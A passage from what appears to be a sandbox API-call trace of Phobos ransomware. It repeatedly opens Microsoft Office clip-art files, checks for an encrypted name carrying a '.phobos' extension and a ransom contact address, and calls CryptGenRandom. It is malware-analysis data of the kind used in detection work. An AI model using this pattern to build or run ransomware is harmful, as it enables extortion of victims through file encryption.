hTemplateFile=0x0) returned 0x564 [0152.825] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1544) returned 1 [0152.825] CloseHandle (hObject=0x564) returned 1 [0152.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf")) returned 0x220 [0152.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.826] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.826] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3416) returned 1 [0152.826] CloseHandle (hObject=0x564) returned 1 [0152.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00810_.wmf")) returned 0x220 [0152.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00810_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00810_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.827] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.828] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12816) returned 1 [0152.828] CloseHandle (hObject=0x564) returned 1 [0152.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf")) returned 0x220 [0152.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.828] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.828] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31814) returned 1 [0152.828] CloseHandle (hObject=0x564) returned 1 [0152.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf")) returned 0x220 [0152.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.829] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.830] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=21672) returned 1 [0152.830] CloseHandle (hObject=0x564) returned 1 [0152.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01066_.wmf")) returned 0x220 [0152.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01066_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01066_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.830] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.831] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6782) returned 1 [0152.831] CloseHandle (hObject=0x564) returned 1 [0152.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf")) returned 0x220 [0152.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.832] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.832] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7680) returned 1 [0152.832] CloseHandle (hObject=0x564) returned 1 [0152.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf")) returned 0x220 [0152.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.832] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.833] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2928) returned 1 [0152.833] CloseHandle (hObject=0x564) returned 1 [0152.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf")) returned 0x220 [0152.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.834] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.834] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5792) returned 1 [0152.834] CloseHandle (hObject=0x564) returned 1 [0152.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01130_.wmf")) returned 0x220 [0152.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01130_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.834] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.835] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5848) returned 1 [0152.835] CloseHandle (hObject=0x564) returned 1 [0152.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf")) returned 0x220 [0152.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.836] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.836] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7992) returned 1 [0152.836] CloseHandle (hObject=0x564) returned 1 [0152.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf")) returned 0x220 [0152.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.837] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.837] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4680) returned 1 [0152.837] CloseHandle (hObject=0x564) returned 1 [0152.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf")) returned 0x220 [0152.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.838] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.838] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8752) returned 1 [0152.838] CloseHandle (hObject=0x564) returned 1 [0152.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf")) returned 0x220 [0152.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.839] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.841] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5552) returned 1 [0152.841] CloseHandle (hObject=0x564) returned 1 [0152.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01154_.wmf")) returned 0x220 [0152.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01154_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01154_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.842] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.842] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6232) returned 1 [0152.843] CloseHandle (hObject=0x564) returned 1 [0152.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01157_.wmf")) returned 0x220 [0152.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01157_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.843] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.852] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7284) returned 1 [0152.852] CloseHandle (hObject=0x564) returned 1 [0152.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf")) returned 0x220 [0152.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.853] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.081] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5780) returned 1 [0153.081] CloseHandle (hObject=0x564) returned 1 [0153.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01161_.wmf")) returned 0x220 [0153.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01161_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01161_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01161_.WMF" 